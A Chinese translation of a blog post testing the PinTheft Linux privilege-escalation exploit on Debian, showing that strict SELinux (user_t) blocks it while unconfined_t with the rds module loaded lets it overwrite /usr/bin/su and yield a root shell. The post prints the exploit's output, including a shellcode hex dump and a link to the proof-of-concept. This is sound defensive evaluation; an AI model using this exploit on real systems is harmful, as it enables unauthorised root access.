Debian SE Linux 与 PinTheft

# Debian SELinux 与 PinTheft 来源：https://etbe.coker.com.au/2026/05/24/debian-selinux-pintheft/ 我们发现了[一个名为 PinTheft 的新 Linux 漏洞 \[1\]](https://github.com/v12-security/pocs/tree/main/pintheft)。我在 Debian 内核 **6.12.74+deb13+1-amd64** 上对其进行了测试。 ## user_t 当我以 user_t 身份运行该漏洞利用程序时，在审计日志中看到如下内容： `` type=PROCTITLE msg=audit(1779615031.043:15540): proctitle="./exp" type=AVC msg=audit(1779615031.043:15541): avc: denied { create } for pid=1360 comm="exp" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=rds_socket permissive=0 type=SYSCALL msg=audit(1779615031.043:15541): arch=c000003e syscall=41 success=no exit=-13 a0=15 a1=5 a2=0 a3=0 items=0 ppid=879 pid=1360 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="exp" exe="/home/test/b/pocs/pintheft/exp" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=socket AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test" `` 运行漏洞利用程序后的最后输出如下： `` [-] only stole 0/1024 refs — may not be enough [-] too few stolen refs, aborting [-] attempt 5 failed, retrying... [-] all 5 attempts failed `` ## unconfined_t 当我以 unconfined_t 身份运行时，输出相同，并且使用 strace 跟踪时看到大量如下内容： `` socket(AF_RDS, SOCK_SEQPACKET, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) `` 在我运行了 “**modprobe rds**” 之后，该漏洞利用程序在 unconfined_t 下成功执行，输出如下： `` [*] verifying page cache overwrite... [*] page cache page 0 AFTER overwrite (our shellcode) (129 bytes): 0000: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 0010: 03 00 3e 00 01 00 00 00 68 00 00 00 00 00 00 00 |..>.....h.......| 0020: 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |8...............| 0030: 00 00 00 00 40 00 38 00 01 00 00 00 05 00 00 00 |[email protected].........| 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0050: 2f 62 69 6e 2f 73 68 00 81 00 00 00 00 00 00 00 |/bin/sh.........| 0060: 81 00 00 00 00 00 00 00 31 ff b0 69 0f 05 48 8d |........1..i..H.| 0070: 3d db ff ff ff 6a 00 57 48 89 e6 31 d2 b0 3b 0f |=....j.WH..1..;.| 0080: 05 |.| [+] verification PASSED — page cache overwritten with SHELL_ELF [+] executing /usr/bin/su (now contains setuid(0) + execve /bin/sh)... === RESTORE: sudo cp /tmp/.backup_su_13294 /usr/bin/su && sudo chmod u+s /usr/bin/su === # `` ## 结论 处于“严格”配置下的 SELinux 可阻止此漏洞利用。 测试虚拟机运行的是 Debian/Testing，我没有费力去调查不加载 **rds** 模块是 Debian 的默认设置，还是我直接或间接修改的结果。对我而言，通过 SELinux 实现的安全比通过控制模块加载实现的安全更值得关注。 - https://github.com/v12-security/pocs/tree/main/pintheft